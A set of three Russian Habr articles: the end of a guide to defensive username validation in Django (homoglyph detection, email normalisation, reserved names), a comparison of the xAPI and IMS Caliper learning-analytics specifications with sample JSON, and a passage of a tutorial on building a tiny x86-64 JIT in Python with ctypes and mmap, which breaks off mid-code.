К сожалению, в стандартной библиотеке Python не предоставляет необходимый доступ к полному набору свойств и таблиц Юникода, чтобы сделать такое сравнение. Но любезный разработчик по имени [Виктор Фелдер](https://draft.li/) написал [подходящую библиотеку](http://confusable-homoglyphs.readthedocs.io/en/latest/index.html) и выпустил её под свободной лицензией с открытым исходным кодом. С помощью библиотеки `confusable_homoglyphs` мы можем выявить проблему:
```
>>> from confusable_homoglyphs import confusables
>>> s1 = 'jane_doe'
>>> s2 = 'j\u0430ne_doe'
>>> bool(confusables.is_dangerous(s1))
False
>>> bool(confusables.is_dangerous(s2))
True
```
Реальный результат выполнения функции `is_dangerous()` для второго имени пользователя — структура данных с подробной информацией о потенциальных проблемах, но главное то, что можно выявить строку со смешанными алфавитами и кодовыми точками, которые ведут к путанице. Это нам и надо.
Django допускает использование в юзернеймах символов не из ASCII, но не проверяет одинаковые символы из разных кодировок. Однако с версии 2.3 в django-registration появилась зависимость от библиотеки `confusable_homoglyphs` а её функция `is_dangerous()` применяется в процессе валидации имён пользователей и адресов электронной почты. Если вам нужно реализовать регистрацию пользователей в Django (или вообще на Python) и вы не можете или не хотите использовать django-registration, то рекомендую применить библиотеку `confusable_homoglyphs` таким же способом.
Я уже упомянул, что добиться уникальности трудно?
=================================================
Если мы имеем дело с ведущими к путанице кодовыми точками Юникода, имеет смысл подумать, что делать с похожими символами из *одного алфавита*. Например, `paypal` и `paypa1`. В некоторых шрифтах их трудно отличить друг от друга. До сих пор все мои предложения подходили в общем случае для всех, но здесь мы вступаем на территорию, специфичную для конкретных языков, алфавитов и географических регионов. Здесь следует принимать решения с осторожностью и с учётом возможных последствий (например, запрет на вводящие в заблуждение латинские символы может вызвать больше ложноположительных результатов, чем вам хотелось бы). Об этом стоит подумать. То же самое касается имён пользователей, которые отличаются, но всё равно очень похожи друг на друга. На уровне базы данных вы можете проверить в различных формах — например, Postgres идёт с поддержкой [Soundex](https://en.wikipedia.org/wiki/Soundex) и [Metaphone](https://en.wikipedia.org/wiki/Metaphone), а также c поддержкой [расстояния Левенштейна](https://en.wikipedia.org/wiki/Levenshtein_distance) и [триграмм нечёткого соответствия](https://www.postgresql.org/docs/9.6/static/pgtrgm.html) — но опять же, этим придётся заниматься разве что от случая к случаю, а не постоянно.
Хочу упомянуть ещё одну проблему с уникальностью имён. Правда, она относится в основном к адресам электронной почты, которые в наше время часто используются в качестве юзернеймов (особенно в сервисах, которые полагаются на стороннего провайдера идентити и используют OAuth и подобные протоколы). Предположим, что нам требуется обеспечить уникальность адресов электронной почты. Сколько разных адресов перечислено ниже?
* `johndoe@example.com`
* `johndoe+yoursite@example.com`
* `john.doe@example.com`
Однозначного ответа нет. Большинство почтовых серверов давно игнорируют все символы после знака `+` в локальной части адреса при определении имени пользователя. В свою очередь, многие люди используют эту техническую особенность для указания произвольного текста после «плюса» как *специальную* систему меток и фильтрации. А Gmail ещё и лихо игнорирует точки (`.`) в локальной части, в том числе в раздаваемых доменах на своих сервисах, так что без запроса DNS вообще невозможно понять, различит ли чужой почтовый сервер `johndoe` и `john.doe`.
Так что если вам нужны уникальные адреса электронной почты или вы используете адреса электронной почты в качестве идентификатора пользователя, вероятно, нужно удалить все точки из локальной части, а также `+` и любой текст после него, прежде чем выполнять проверку уникальности. В настоящее время django-registration не делает этого, но у меня есть планы добавить эту функцию в версии 3.x.
Кроме того, при обработке ведущих к путанице кодовых точек Юникода в адресах электронной почты применяйте эту проверку *отдельно* к локальной части и к домену. Люди не всегда могут изменить алфавит, который используется в домене, так что их нельзя наказывать за то, что в локальной части и доменной части используются разные алфавиты. Если ни локальная часть, ни часть домена по отдельности не содержат ведущей к путанице смеси алфавитов, то вероятно, всё в порядке (и валидатор django-registration делает такую проверку).
Вы можете столкнуться с многими другими проблемами в отношении имён пользователей, которые слишком похожи друг на друга, чтобы не считаться «разными», но как только вы начинаете отключать чувствительность к регистру, запускать нормализацию и проверку на смесь алфавитов, то быстро заходите на территорию с убывающей отдачей [когда польза уменьшается с каждым нововведением — *прим. пер.*], тем более что начинают применяться многие правила, которые зависят от языка, алфавита или региона. Это не означает, что о них не нужно думать. Просто здесь сложно дать универсальный совет, который подойдёт всем.
Давайте немного развернём ситуацию и рассмотрим другой тип проблем.
Некоторые имена следует резервировать
=====================================
Многие сайты используют имя пользователя не только как поле в форме входа. Некоторые создают страницу профиля для каждого пользователя и ставят имя пользователя в URL. Некоторые создают адреса электронной почты для каждого пользователя. Некоторые создают поддомены. Так что возникает несколько вопросов:
* Если ваш сайт помещает имя пользователя в URL на странице профиля, что произойдёт, если я создам пользователя с именем `login`? Если я опубликую в своём профиле текст «Наша страница входа в систему перемещена, пожалуйста, нажмите здесь, чтобы войти» со ссылкой на мой сайт сбора учётных данных. Как думаете, сколько пользователей я смогу одурачить?
* Если ваш сайт создаёт адреса электронной почты из имён пользователей, что произойдет, если я зарегистрируюсь в качестве пользователя с именем `webmaster` или `postmaster`? Буду ли я получать письма, направленные на эти адреса для вашего домена? Смогу ли получить сертификат SSL для вашего домена с правильным именем пользователя и автоматически созданным адресом электронной почты?
* Если ваш сайт создаёт поддомены из имен пользователей, что произойдёт, если я зарегистрируюсь в качестве пользователя с именем `www`? Или `smtp`, или `mail`?
Если думаете, что это просто глупые гипотетические вопросы, ну что ж, [кое-что из этого на самом деле произошло](http://www.theregister.co.uk/2011/04/11/state_of_ssl_analysis/). И не однажды, а [несколько раз](https://www.tivi.fi/Kaikki_uutiset/2015-03-18/A-Finnish-man-created-this-simple-email-account---and-received-Microsofts-security-certificate-3217662.html). Нет, в самом деле, [такие вещи случались несколько раз](https://twitter.com/EdOverflow/status/954093588362809345).
Вы можете — и должны — принять некоторые меры предосторожности для гарантии, что, скажем, автоматически созданный поддомен для учётной записи пользователя не конфликтует с уже существующим поддоменом, который вы реально используете с какой-то целью. Или что автоматически созданные адреса электронной почты не конфликтуют с важными и/или уже существующими адресами.
Но для максимальной безопасности, вероятно, нужно просто запретить регистрировать определённые имена пользователей. Я впервые увидел такой совет — и список зарезервированных имён, а также первые две статьи, упомянутые выше — в [этой статье Джеффри Томаса](https://ldpreload.com/blog/names-to-reserve). Начиная с версии 2.1 django-registration поставляется со списком зарезервированных имён, и этот список увеличивается с каждой версией; теперь там около ста записей.
В [списке django-registration](https://github.com/ubernostrum/django-registration/blob/1d7d0f01a24b916977016c1d66823a5e4a33f2a0/registration/validators.py#L25) имена разбиты на несколько категорий, что позволяет создавать подмножества из них в зависимости от ваших потребностей (валидатор по умолчанию применяет их все, но можно перенастроить его с указанием только нужных наборов зарезервированных имен):
* Адреса хостов, используемые для автообнаружения/автонастройки некоторых известных сервисов.
* Адреса хостов, связанные с общеупотребительными протоколами.
* Адреса электронной почты, используемые центрами сертификации для проверки владения доменом.
* Адреса электронной почты, перечисленные в [RFC 2142](https://tools.ietf.org/html/rfc2142), которые не указаны в любом другом наборе зарезервированных имён.
* Общеупотребительные адреса no-reply@.
* Строки, совпадающие с конфиденциальными именами файлов (например, политиками междоменного доступа).
* Длинный список других потенциально чувствительных имён вроде `contact` и `login`.
Валидатор в django-registration также отклонит любое имя пользователя, которое начинается с `.well-known` для защиты всего, что использует стандарт [RFC 5785](https://tools.ietf.org/html/rfc5785) для указания «хорошо известных URI».
Как и в случае с ведущими к путанице символами в именах пользователей, рекомендую скопировать нужные элементы списка django-registration и дополнить его в случае необходимости. В свою очередь, этот список представляет собой расширенную версию списка Джеффри Томаса.
Это только начало
=================
Здесь перечислено не всё, что можно сделать для проверки юзернеймов. Если бы я попытался написать полный список, то застрял бы тут навечно. Однако это хорошая стартовая платформа, и я рекомендую последовать большинству или всем указанным советам. Надеюсь, статья приблизительно показала, какие сложности могут скрываться за такой на первый взгляд «простой» проблемой как учётные записи с именами пользователей.
Как я уже упоминал, Django и/или django-registration уже выполняет бóльшую часть этих проверок. А то, что не делает, вероятно будет добавлено по крайней мере в версии django-registration 3.0. Сам по себе Django может и не в состоянии реализовать такие проверки в ближайшее время (или вообще когда-либо) из-за сильных проблем обратной совместимости. Весь исходный код открыт (под лицензией BSD), поэтому без проблем копируйте, адаптируйте и улучшайте его.
Если я пропустил что-то важное, пожалуйста, дайте мне знать об этом: можно сообщить о баге или отправить пулл-реквест в [django-registration на GitHub](https://github.com/ubernostrum/django-registration) или просто [связаться со мной напрямую](https://www.b-list.org/contact/). | https://habr.com/ru/post/349232/ | null | ru | null |
# xAPI и IMS Caliper. Или ADL против IMS?
Появление xAPI (ADL) не было неожиданным событием. Очень продолжительное время велись обсуждения TinCan'а, огромное количество открытых форумов «кипели» при обсуждении новой спецификации. И только после достаточного обсуждения, ADL выпустила релиз спецификации. Затем, уже после практической работы многих компаний с xApi, появилась CMI5.
И тут появилась аналогичная спецификация IMS Global Learning Consortium под названием Caliper.
Заметное сходство между xAPI и Caliper побудило разработчиков и поставщиков контента прояснить различия в реализации одной или обеих спецификаций (обе из которых в настоящее время нацелены на стандартизацию).
Оба сообщества, поддерживающие xAPI и Caliper, выразили обеспокоенность по поводу возможности экономически эффективной поддержки обеих спецификаций, что привело к запросам как к ADL, так и к IMS о том, возможно ли их согласование.
Вот краткий ответ «IMS» ([ссылка](https://www.imsglobal.org/initial-xapicaliper-comparison))
> a) Caliper and xAPI have very different origins. The core xAPI is to enable any type of experience and evidence tracking, both electronic and physical performance and not limited to just web-based courses (as is the case for SCORM). Caliper is the manifestation of the IMS Learning Analytics Framework and the Sensor API and Metric Profile(s) are the first two components of that framework. xAPI and Caliper are NOT equivalent. Adoption should not be ‘one-or-the-other’, instead it is a ‘horses-for-courses’ decision;
>
>
>
> b) While both xAPI (Actor/Verb/Object) and Caliper (Actor/Action/Activity) use a data model based upon a triple statement structure there are considerable differences in the detailed structure and usage of the Object and Activity definitions. However, it should be possible for each specification to make use of the other’s Verb/Action;
Вот краткий ответ «ADL» ([ссылка](https://adlnet.gov/news/2016/07/25/adl-experience-api-and-ims-caliper-discovery-review/)).
> As xAPI has matured, so too has a similar specification from the IMS Global Learning Consortium called Caliper. There are notable similarities between xAPI and Caliper, which has caused adopters and vendors to clarify implementation differences of one or both specifications (both of which are now targeting standardization). Both communities supporting xAPI and Caliper have expressed concerns about being able to cost-effectively support both specs, which led to inquiries to both ADL Initiative and IMS about whether alignment of the two would be possible.
xAPI (Actor / Verb / Object) и Caliper (Actor / Action / Activity) используют модель данных, основанную на структуре тройного оператора, существуют значительные различия в подробной структуре и использовании определений Object и Activity. Видимо Actor и Verb/Action совпадают, отличаются только Object/Activity?
Я достаточно давно работаю с xAPI, но Caliper мне не был знаком. Пришлось немного изучить документацию ([ссылка](https://www.imsglobal.org/sites/default/files/caliper/v1p1/caliper-spec-v1p1/caliper-spec-v1p1.html) и [ещё одна](https://www.imsglobal.org/caliper/caliperv1p0/ims-caliper-analytics-implementation-guide)).
Скажу сразу, я не нашел значительных лично для меня отличий. То что называется в xAPI statement (Activites) — в Caliper называется Event.
Я обратил внимание на наличие так называемой «метрики» в Caliper, но описание достаточно абстрактное, примеров практического использования мне найти не удалось.
> The Caliper information model defines a number of metric profiles, each of which models a learning activity or a supporting activity that helps facilitate learning. A metric profile’s raison d’etre is to encourage vocabulary standardization and re-use among application providers delivering complementary, albeit competing capabilities that collect learning activity data. Each profile provides a domain-specific set of terms and concepts that application designers and developers can draw upon to describe common user interactions in a consistent manner using a shared vocabulary. Annotating a reading, playing a video, taking a test, or grading an assignment submission represent a few examples of the many activities or events that Caliper’s metric profiles attempt to describe.
>
>
>
> Think of each metric profile as a stand-alone, logical container, or collection of one or more Caliper events that together help describe a set of inter-related activities. Each Event type included in a metric profile place constraints on the various entities and actions that can be utilized to describe a learning activity. Vocabulary restrictions are outlined in each profile description under the following headings
На сайте IMS есть очень много «красивых картинок», но они еще более усиливают ощущение того, что разница минимальна.
С точки зрения механизма авторизации и хранения (LRS), разницы практически нет, отличие JSON в xApi и JSON-LD в Caliper для меня не существенно. т.е. и в этих вопросах разницы нет.
Давайте посмотрим примеры JSON xApi и Caliper
xApi
```
{
"actor": {
"name": "Sally Glider",
"mbox": "mailto:sally@example.com"
},
"verb": {
"id": "http://adlnet.gov/expapi/verbs/completed",
"display": { "en-US": "completed" }
},
"object": {
"id": "http://example.com/activities/hang-gliding-test",
"definition": {
"type": "http://adlnet.gov/expapi/activities/assessment",
"name": { "en-US": "Hang Gliding Test" },
"description": {
"en-US": "The Solo Hang Gliding test, consisting of a timed flight from the peak of Mount Magazine"
},
"extensions": {
"http://example.com/gliderClubId": "test-435"
}
}
},
"result": {
"completion": true,
"success": true,
"score": {
"scaled": 0.95
},
"extensions": {
"http://example.com/flight/averagePitch": 0.05
}
},
"context": {
"instructor": {
"name": "Irene Instructor",
"mbox": "mailto:irene@example.com"
},
"contextActivities":{
"parent": { "id": "http://example.com/activities/hang-gliding-class-a" }
"grouping": { "id": "http://example.com/activities/hang-gliding-school" }
},
"extensions": {
"http://example.com/weatherConditions": "rainy"
}
},
"timestamp": "2012-07-05T18:30:32.360Z",
"stored": "2012-07-05T18:30:33.540Z",
"authority": {
"name": "Irene Instructor",
"mbox": "mailto:irene@example.com"
}
}
```
Caliper
```
{
"sensor": "https://example.edu/sensors/1",
"sendTime": "2018-11-15T11:05:01.000Z",
"dataVersion": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"data": [
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "https://example.edu/users/554433",
"type": "Person",
"dateCreated": "2018-08-01T06:00:00.000Z",
"dateModified": "2018-09-02T11:30:00.000Z"
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"type": "Assessment",
"name": "Quiz One",
"items": [
{
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/items/1",
"type": "AssessmentItem"
},
{
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/items/2",
"type": "AssessmentItem"
},
{
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/items/3",
"type": "AssessmentItem"
}
],
"dateCreated": "2018-08-01T06:00:00.000Z",
"dateModified": "2018-09-02T11:30:00.000Z",
"datePublished": "2018-08-15T09:30:00.000Z",
"dateToActivate": "2018-08-16T05:00:00.000Z",
"dateToShow": "2018-08-16T05:00:00.000Z",
"dateToStartOn": "2018-08-16T05:00:00.000Z",
"dateToSubmit": "2018-09-28T11:59:59.000Z",
"maxAttempts": 2,
"maxScore": 15.0,
"maxSubmits": 2,
"version": "1.0"
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "https://example.edu",
"type": "SoftwareApplication",
"version": "v2"
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "https://example.edu/terms/201801/courses/7/sections/1",
"type": "CourseSection",
"academicSession": "Fall 2018",
"courseNumber": "CPS 435-01",
"name": "CPS 435 Learning Analytics, Section 01",
"category": "seminar",
"subOrganizationOf": {
"id": "https://example.edu/terms/201801/courses/7",
"type": "CourseOffering",
"courseNumber": "CPS 435"
},
"dateCreated": "2018-08-01T06:00:00.000Z"
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "urn:uuid:c51570e4-f8ed-4c18-bb3a-dfe51b2cc594",
"type": "AssessmentEvent",
"actor": "https://example.edu/users/554433",
"action": "Started",
"object": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"generated": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/users/554433/attempts/1",
"type": "Attempt",
"assignee": "https://example.edu/users/554433",
"assignable": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"count": 1,
"dateCreated": "2018-11-15T10:15:00.000Z",
"startedAtTime": "2018-11-15T10:15:00.000Z"
},
"eventTime": "2018-11-15T10:15:00.000Z",
"edApp": "https://example.edu",
"group": "https://example.edu/terms/201801/courses/7/sections/1",
"membership": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/rosters/1",
"type": "Membership",
"member": "https://example.edu/users/554433",
"organization": "https://example.edu/terms/201801/courses/7/sections/1",
"roles": [ "Learner" ],
"status": "Active",
"dateCreated": "2018-08-01T06:00:00.000Z"
},
"session": {
"id": "https://example.edu/sessions/1f6442a482de72ea6ad134943812bff564a76259",
"type": "Session",
"startedAtTime": "2018-11-15T10:00:00.000Z"
}
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "urn:uuid:dad88464-0c20-4a19-a1ba-ddf2f9c3ff33",
"type": "AssessmentEvent",
"actor": "https://example.edu/users/554433",
"action": "Submitted",
"object": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"generated": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/users/554433/attempts/1",
"type": "Attempt",
"assignee": "https://example.edu/users/554433",
"assignable": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"count": 1,
"dateCreated": "2018-11-15T10:15:00.000Z",
"startedAtTime": "2018-11-15T10:15:00.000Z",
"endedAtTime": "2018-11-15T10:55:12.000Z",
"duration": "PT40M12S"
},
"eventTime": "2018-11-15T10:25:30.000Z",
"edApp": "https://example.edu",
"group": "https://example.edu/terms/201801/courses/7/sections/1",
"membership": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/rosters/1",
"type": "Membership",
"member": "https://example.edu/users/554433",
"organization": "https://example.edu/terms/201801/courses/7/sections/1",
"roles": ["Learner"],
"status": "Active",
"dateCreated": "2018-08-01T06:00:00.000Z"
},
"session": {
"id": "https://example.edu/sessions/1f6442a482de72ea6ad134943812bff564a76259",
"type": "Session",
"startedAtTime": "2018-11-15T10:00:00.000Z"
}
},
{
"@context": "http://purl.imsglobal.org/ctx/caliper/v1p1",
"id": "urn:uuid:a50ca17f-5971-47bb-8fca-4e6e6879001d",
"type": "GradeEvent",
"actor": {
"id": "https://example.edu/autograder",
"type": "SoftwareApplication",
"version": "v2"
},
"action": "Graded",
"object": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/users/554433/attempts/1",
"type": "Attempt",
"assignee": "https://example.edu/users/554433",
"assignable": "https://example.edu/terms/201801/courses/7/sections/1/assess/1?ver=v1p0",
"count": 1,
"dateCreated": "2018-11-15T10:15:00.000Z",
"startedAtTime": "2018-11-15T10:15:00.000Z",
"endedAtTime": "2018-11-15T10:55:12.000Z",
"duration": "PT40M12S"
},
"eventTime": "2018-11-15T10:57:06.000Z",
"edApp": "https://example.edu",
"generated": {
"id": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/users/554433/attempts/1/scores/1",
"type": "Score",
"attempt": "https://example.edu/terms/201801/courses/7/sections/1/assess/1/users/554433/attempts/1",
"maxScore": 15.0,
"scoreGiven": 10.0,
"scoredBy": "https://example.edu/autograder",
"comment": "auto-graded exam",
"dateCreated": "2018-11-15T10:56:00.000Z"
},
"group": "https://example.edu/terms/201801/courses/7/sections/1"
}
]
}
```
Должен признать, что я не смог выявить для себя существенную разницу между этими спецификациями.
Фраза
> IMS Learning Analytics Framework and the Sensor API and Metric Profile(s) are the first two components of that framework
говорит о том, что видимо стоит ожидать появление Framework. Но информации по нему я не смог найти.
Я не знаю причин по которым две уважаемые организации представили, по моему личному мнению, сходные спецификации. Предыдущая история «сосуществования» SCORM (ADL) и IMS CP например показывала, что стандарты могут дополнять друг друга. В этот раз я не вижу такого дополнения. | https://habr.com/ru/post/509172/ | null | ru | null |
# Пишем x86-64 JIT-комплятор с нуля в стоковом Python
В этой статье я покажу, как написать рудиментарный, нативный x86-64 [just-in-time компилятор (JIT)](https://en.wikipedia.org/wiki/Just-in-time_compilation) на CPython, используя только встроенные модули.
Код предназначен для UNIX-систем, таких как macOS и Linux, но его должно быть легко транслировать на другие системы, типа Windows. Весь код опубликован на [github.com/cslarsen/minijit](https://github.com/cslarsen/minijit).
Цель — сгенерировать в рантайме новые версии нижеприведённого ассемблерного кода и выполнить их.
```
48 b8 ed ef be ad de movabs $0xdeadbeefed, %rax
00 00 00
48 0f af c7 imul %rdi,%rax
c3 retq
```
В основном, мы будем иметь дело с левой частью кода — байтовой последовательностью `48 b8 ed ...` и так далее. Эти 15 байтов в [машинном коде](https://en.wikipedia.org/wiki/Machine_code) составляют функцию x86-64, которая умножает свой аргумент на константу [`0xdeadbeefed`](https://en.wikipedia.org/wiki/Magic_number_(programming)). На этапе JIT будут созданы функции с разными такими константами. Такая надуманная форма [специализации](https://en.wikipedia.org/wiki/Run-time_algorithm_specialisation) должна продемонстрировать базовую механику JIT-компиляции.
Основная стратегия заключается в том, чтобы с помощью встроенного питоновского модуля [`ctypes`](https://docs.python.org/3/library/ctypes.html#module-ctypes) загрузить стандартную библиотеку C. Оттуда мы получим доступ к системным функциям для взаимодействия c менеджером виртуальной памяти. Используем [`mmap`](http://man7.org/linux/man-pages/man2/mmap.2.html) для получения блока памяти, выровненного по границе страницы. Выравнивание необходимо для исполнения кода. По этой причине мы не берём обычную функцию `malloc`, поскольку она может вернуть память, выходящую за границы страницы.
Используем функцию [`mprotect`](http://man7.org/linux/man-pages/man2/mprotect.2.html) для пометки блока памяти как доступного только для чтения и исполняемого. После этого должна появиться возможность вызова нашего свежескомпилированного блока кода посредством ctypes.
Шаблонная часть
===============
Прежде чем что-либо сделать, нужно загрузить стандартную библиотеку C.
```
import ctypes
import sys
if sys.platform.startswith("darwin"):
libc = ctypes.cdll.LoadLibrary("libc.dylib")
# ...
elif sys.platform.startswith("linux"):
libc = ctypes.cdll.LoadLibrary("libc.so.6")
# ...
else:
raise RuntimeError("Unsupported platform")
```
Есть и другие способы сделать это, например
```
>>> import ctypes
>>> import ctypes.util
>>> libc = ctypes.CDLL(ctypes.util.find_library("c"))
>>> libc
```
Чтобы определить размер страницы, вызовем [`sysconf(_SC_PAGESIZE)`](http://man7.org/linux/man-pages/man3/sysconf.3.html). Константа `_SC_PAGESIZE` равняется 29 на macOS, но 30 на Linux. Мы просто жёстко закодируем их в нашей программе. Вы можете найти размер страницы, изучив системные заголовочные файлы или написав простую программу на C для вывода. Более надёжное и элегантное решение — использовать [`модуль cffi`](https://github.com/cffi/cffi) вместо ctypes, потому что он умеет автоматически парсить заголовочные файлы. Однако, поскольку мы поставили цель использовать стандартный дистрибутив CPython, то продолжим работать с ctypes.
Нам нужны несколько дополнительных констант для `mmap` и проч. Они записаны ниже. Может быть, вам придётся поискать их для других вариантов UNIX.
```
import ctypes
import sys
if sys.platform.startswith("darwin"):
libc = ctypes.cdll.LoadLibrary("libc.dylib")
_SC_PAGESIZE = 29
MAP_ANONYMOUS = 0x1000
MAP_PRIVATE = 0x0002
PROT_EXEC = 0x04
PROT_NONE = 0x00
PROT_READ = 0x01
PROT_WRITE = 0x02
MAP_FAILED = -1 # voidptr actually
elif sys.platform.startswith("linux"):
libc = ctypes.cdll.LoadLibrary("libc.so.6")
_SC_PAGESIZE = 30
MAP_ANONYMOUS = 0x20
MAP_PRIVATE = 0x0002
PROT_EXEC = 0x04
PROT_NONE = 0x00
PROT_READ = 0x01
PROT_WRITE = 0x02
MAP_FAILED = -1 # voidptr actually
else:
raise RuntimeError("Unsupported platform")
```
Хотя это не является строгим требованием, но очень полезно передать ctypes типы функций, которые мы собираемся использовать. Таким образом, будут подняты исключения в случае смешивания недопустимых типов. Например:
```
# Set up sysconf
sysconf = libc.sysconf
sysconf.argtypes = [ctypes.c_int]
sysconf.restype = ctypes.c_long
```
Это говорит ctypes, что функция `sysconf` принимает четырёхбайтовое целое число, а выдаёт длинное целое. После этого можно узнать текущий размер страницы следующей командой:
```
pagesize = sysconf(_SC_PAGESIZE)
```
Машинный код, который мы собираемся сгенерировать, будет интерпретироваться как беззнаковые 8-битные байты, поэтому зарегистрируем беззнаковый тип указателя на эти байты:
```
# 8-bit unsigned pointer type
c_uint8_p = ctypes.POINTER(ctypes.c_uint8)
```
Ниже просто выложены остальные типы функций, которые будем использовать. Для отчётов об ошибках хорошо, чтобы была доступной функция [`strerror`](http://man7.org/linux/man-pages/man3/strerror.3.html). Используем [`munmap`](http://man7.org/linux/man-pages/man3/munmap.3p.html) для уничтожения блока машинного кода, когда закончим с ним. Так операционная система сможет повторно использовать эту память.
```
strerror = libc.strerror
strerror.argtypes = [ctypes.c_int]
strerror.restype = ctypes.c_char_p
mmap = libc.mmap
mmap.argtypes = [ctypes.c_void_p,
ctypes.c_size_t,
ctypes.c_int,
ctypes.c_int,
ctypes.c_int,
# Below is actually off_t, which is 64-bit on macOS
ctypes.c_int64]
mmap.restype = c_uint8_p
munmap = libc.munmap
munmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t]
munmap.restype = ctypes.c_int
mprotect = libc.mprotect
mprotect.argtypes = [ctypes.c_void_p, ctypes.c_size_t, ctypes.c_int]
mprotect.restype = ctypes.c_int
```
На данном этапе сложно оправдать использование Python вместо C. В случае C нам не нужен вышеперечисленный шаблонный код. Но Python даст гораздо больше свободы в дальнейших экспериментах.
Теперь мы готовы написать обёртку `mmap`.
```
def create_block(size):
ptr = mmap(0, size, PROT_WRITE | PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)
if ptr == MAP_FAILED:
raise RuntimeError(strerror(ctypes.get_errno()))
return ptr
```
Эта функция использует `mmap` для выделения нам памяти, выровненной по границам страницы. Мы помечаем участок памяти флагами PROT как доступный для чтения и записи, а также помечаем его как приватный и анонимный. Последнее означает, что другие процессы не смогут увидеть этот участок памяти и что он не имеет файловой поддержки. [Руководство по mmap в Linux](http://man7.org/linux/man-pages/man2/mmap.2.html) более подробно раскрывает эту тему (только убедитесь, что открыли руководство именно для своей системы). Если вызов `mmap` неудачный, мы вызываем ошибку Python.
Чтобы пометить память как исполняемую:
```
def make_executable(block, size):
if mprotect(block, size, PROT_READ | PROT_EXEC) != 0:
raise RuntimeError(strerror(ctypes.get_errno()))
```
Таким вызовом `mprotect` мы помечаем участок памяти как доступный для чтения и исполняемый. Если хотим, можем также сделать его доступным для записи, но некоторые системы откажутся исполнять код из памяти, открытой для записи. Иногда это называют [функцией безопасности W^X](https://en.wikipedia.org/wiki/W%5EX).
Для уничтожения блока памяти делаем следующее:
```
def destroy_block(block, size):
if munmap(block, size) == -1:
raise RuntimeError(strerror(ctypes.get_errno()))
```
Весёлая часть
=============
Теперь мы наконец-то готовы написать безумно простой код JIT!
Вспомните листинг ассемблера из начала статьи: это небольшая функция — без локального стекового кадра — которая умножает число на входе на константу. На Python мы бы записали её так:
```
def create_multiplication_function(constant):
return lambda n: n * constant
```
Это действительно надуманный пример, но соответствует определению JIT. В конце концов, мы действительно создаём нативный код в рантайме и исполняем его. Легко представить более продвинутые примеры, такие как JIT-компиляция [Brainfuck](https://en.wikipedia.org/wiki/Brainfuck) в машинный код x86-64. Или использование инструкций AVX для молниеносных математических операций по векторизации.
Разборка машинного кода в начале статьи в реальности была выполнена путём компиляции и дизассемблирования следующего кода C:
```
#include
uint64\_t multiply(uint64\_t n)
{
return n\*0xdeadbeefedULL;
}
If you want to compile it yourself, use something like
$ gcc -Os -fPIC -shared -fomit-frame-pointer \
-march=native multiply.c -olibmultiply.so
```
Здесь я оптимизировал по размеру (`-Os`), чтобы сгенерировать минимальный машинный код, позиционно-независимый (`-fPIC`) для предотвращения использования переходов в абсолютных адресах, без каких-либо указателей фреймов (`-fomit-frame-pointer`) для удаления излишнего кода установки стека (но он может понадобиться для более продвинутых функций) и с использованием нативного набора инструкций имеющегося процессора (`-march=native`).
Мы могли бы передать `-S` и получить листинг дизассемблера, но нам интересен именно *машинный код*, так что вместо этого используем инструмент вроде `objdump`:
```
$ objdump -d libmultiply.so
...
0000000000000f71 <_multiply>:
f71: 48 b8 ed ef be ad de movabs $0xdeadbeefed,%rax
f78: 00 00 00
f7b: 48 0f af c7 imul %rdi,%rax
f7f: c3 retq
```
Если вы не очень знакомы с ассемблером, объясню, как работает эта функция. Сначала функция `movabs` просто помещает *непосредственное* число (immediate number) в регистр RAX. *Непосредственное* — это такой жаргон на ассемблере для обозначения чего-то, указанного прямо в машинном коде. Другими словами, это встроенный аргумент для инструкции `movabs`. Так что теперь регистр RAX содержит константу `0xdeadbeefed`.
Также — согласно конвенции [AMD64](https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf) — первый целочисленный аргумент будет в регистре RDI, а возвращаемое значение в RAX. Так что регистр RDI содержит число-множитель. В этом суть команды `imul`, которая перемножает RAX и RDI, помещая результат в RAX. Наконец, мы извлекаем со стека 64-битный адрес возврата и переходим к нему командой RETQ. На этом уровне легко представить, как можно реализовать [программирование в стиле передачи продолжений](https://en.wikipedia.org/wiki/Continuation-passing_style).
Обратите внимание, что константа `0xdeadbeefed` указана в формате с обратным порядком байтов (little-endian). Нужно не забыть сделать то же самое в коде.
Теперь мы готовы поместить всё в функцию Python.
```
def make_multiplier(block, multiplier):
# Encoding of: movabs , rax
block[0] = 0x48
block[1] = 0xb8
# Little-endian encoding of multiplication constant
block[2] = (multiplier & 0x00000000000000ff) >> 0
block[3] = (multiplier & 0x000000000000ff00) >> 8
block[4] = (multiplier & 0x0000000000ff0000) >> 16
block[5] = (multiplier & 0x00000000ff000000) >> 24
block[6] = (multiplier & 0x000000ff00000000) >> 32
block[7] = (multiplier & 0x0000ff0000000000) >> 40
block[8] = (multiplier & 0x00ff000000000000) >> 48
block[9] = (multiplier & 0xff00000000000000) >> 56
# Encoding of: imul rdi, rax
block[10] = 0x48
block[11] = 0x0f
block[12] = 0xaf
block[13] = 0xc7
# Encoding of: retq
block[14] = 0xc3
# Return a ctypes function with the right prototype
function = ctypes.CFUNCTYPE(ctypes.c\_uint64)
function.restype = ctypes.c\_uint64
return function
```
